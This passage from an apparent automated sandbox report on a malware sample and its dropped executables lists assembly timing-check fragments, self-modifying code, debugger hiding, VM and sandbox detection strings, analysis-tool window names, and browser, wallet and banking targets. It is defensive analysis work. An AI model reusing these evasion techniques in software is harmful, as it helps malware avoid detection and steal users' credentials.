esi 0x00000052 ret 0x00000053 mov eax, dword ptr [ebp+122D159Dh] 0x00000059 mov di, ax 0x0000005c push FFFFFFFFh 0x0000005e mov di, 85BFh 0x00000062 nop 0x00000063 push esi 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007FD0FCEAC563h 0x0000006b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8B05D3 second address: 8B05F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD0FD11A2D6h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8B1408 second address: 8B1451 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD0FCEAC556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b nop 0x0000000c mov bx, 693Eh 0x00000010 add dword ptr [ebp+122D1E51h], eax 0x00000016 push dword ptr fs:[00000000h] 0x0000001d xor bx, F760h 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 pushad 0x0000002a mov edx, dword ptr [ebp+122D35ECh] 0x00000030 clc 0x00000031 popad 0x00000032 mov eax, dword ptr [ebp+122D1231h] 0x00000038 mov dword ptr [ebp+122D2F68h], ebx 0x0000003e push FFFFFFFFh 0x00000040 movzx ebx, di 0x00000043 push eax 0x00000044 push esi 0x00000045 push eax 0x00000046 push edx 0x00000047 push ecx 0x00000048 pop ecx 0x00000049 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8B2495 second address: 8B249B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C2A14 second address: 8C2A1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C2A1A second address: 8C2A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C2A1E second address: 8C2A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C2A2C second address: 8C2A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD0FD11A2C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C2A37 second address: 8C2A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD0FCEAC556h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C2A41 second address: 8C2A69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jbe 00007FD0FD11A2D0h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C9650 second address: 8C9656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C9656 second address: 8C9660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD0FD11A2C6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C9660 second address: 8C968F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FD0FCEAC55Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD0FCEAC565h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C968F second address: 8C9693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C9693 second address: 8C96A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jne 00007FD0FCEAC556h 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C96A3 second address: 8C96D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD0FD11A2D1h 0x0000000a jmp 00007FD0FD11A2D3h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C96D3 second address: 8C96D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C8B88 second address: 8C8B8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C8F5E second address: 8C8FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD0FCEAC556h 0x0000000a jmp 00007FD0FCEAC569h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007FD0FCEAC55Fh 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007FD0FCEAC562h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C93AC second address: 8C93B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C93B2 second address: 8C93B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8C93B6 second address: 8C93BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D7FA29 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F20130 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F1EC79 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Special instruction interceptor: First address: 6EE9BB instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Special instruction interceptor: First address: 88D862 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Special instruction interceptor: First address: 6EC18A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Special instruction interceptor: First address: 8946AB instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Special instruction interceptor: First address: 91D97F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B0E9BB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CAD862 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B0C18A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CB46AB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D3D97F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Special instruction interceptor: First address: B8B946 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Special instruction interceptor: First address: B8B963 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Special instruction interceptor: First address: D253B2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Special instruction interceptor: First address: D23941 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Special instruction interceptor: First address: D4DB5C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Special instruction interceptor: First address: DB0483 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Special instruction interceptor: First address: 6C0FAB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Special instruction interceptor: First address: 6C0896 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Special instruction interceptor: First address: 86EF2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Special instruction interceptor: First address: 908CA9 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsJDGCGHCGHC.exe

Code function: 22_2_050E0250 rdtsc

22_2_050E0250

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1007172001\440009026a.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 2148	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2240	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6312	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1080	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3000	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6696	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2192	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4928	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6152	Thread sleep count: 105 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6152	Thread sleep time: -3150000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6152	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe TID: 3420	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe TID: 3420	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsJDGCGHCGHC.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB4C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CB4C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001A.00000002.2694754743.0000000000C8A000.00000040.00000001.01000000.0000000E.sdmp, 93734d82d0.exe, 0000001C.00000002.2697049898.0000000000D04000.00000040.00000001.01000000.0000000F.sdmp, ec3f41365f.exe, 0000001D.00000002.2695008746.0000000000851000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: GDBAKEGI.0.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: GDBAKEGI.0.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: GDBAKEGI.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: GDBAKEGI.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: DocumentsJDGCGHCGHC.exe, 00000016.00000003.2007412746.00000000011D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000002.1973362137.00000000014C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973362137.00000000014F3000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2698948554.0000000001726000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2698948554.00000000016F7000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000002.2698341570.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: skotes.exe, 0000001A.00000002.2698948554.0000000001726000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: file.exe, 00000000.00000002.1973362137.000000000147E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware1
Source: GDBAKEGI.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: GDBAKEGI.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: GDBAKEGI.0.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: random[1].exe.26.dr	Binary or memory string: HVmci8zo
Source: GDBAKEGI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: GDBAKEGI.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: 93734d82d0.exe, 0000001C.00000002.2700470361.000000000162E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: GDBAKEGI.0.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: GDBAKEGI.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: GDBAKEGI.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: GDBAKEGI.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: GDBAKEGI.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: GDBAKEGI.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: GDBAKEGI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: GDBAKEGI.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: GDBAKEGI.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: GDBAKEGI.0.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: ec3f41365f.exe, 0000001D.00000002.2698341570.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: GDBAKEGI.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: GDBAKEGI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: GDBAKEGI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: GDBAKEGI.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: file.exe, 00000000.00000002.1973362137.000000000147E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: GDBAKEGI.0.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: DocumentsJDGCGHCGHC.exe, 00000016.00000003.2007412746.00000000011D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: GDBAKEGI.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: GDBAKEGI.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: GDBAKEGI.0.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: GDBAKEGI.0.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: file.exe, 00000000.00000002.1972556895.0000000000EFF000.00000040.00000001.01000000.00000003.sdmp, DocumentsJDGCGHCGHC.exe, 00000016.00000002.2075688227.000000000086A000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2095945237.0000000000C8A000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.2132306284.0000000000C8A000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001A.00000002.2694754743.0000000000C8A000.00000040.00000001.01000000.0000000E.sdmp, 93734d82d0.exe, 0000001C.00000002.2697049898.0000000000D04000.00000040.00000001.01000000.0000000F.sdmp, ec3f41365f.exe, 0000001D.00000002.2695008746.0000000000851000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: GDBAKEGI.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: GDBAKEGI.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: GDBAKEGI.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 26_2_054B0391 Start: 054B04CE End: 054B03C0

26_2_054B0391

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsJDGCGHCGHC.exe

Code function: 22_2_050E0250 rdtsc

22_2_050E0250

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB95FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CB95FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CB33480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00AD652B mov eax, dword ptr fs:[00000030h]		26_2_00AD652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00ADA302 mov eax, dword ptr fs:[00000030h]		26_2_00ADA302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CB6B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CB6B1F7

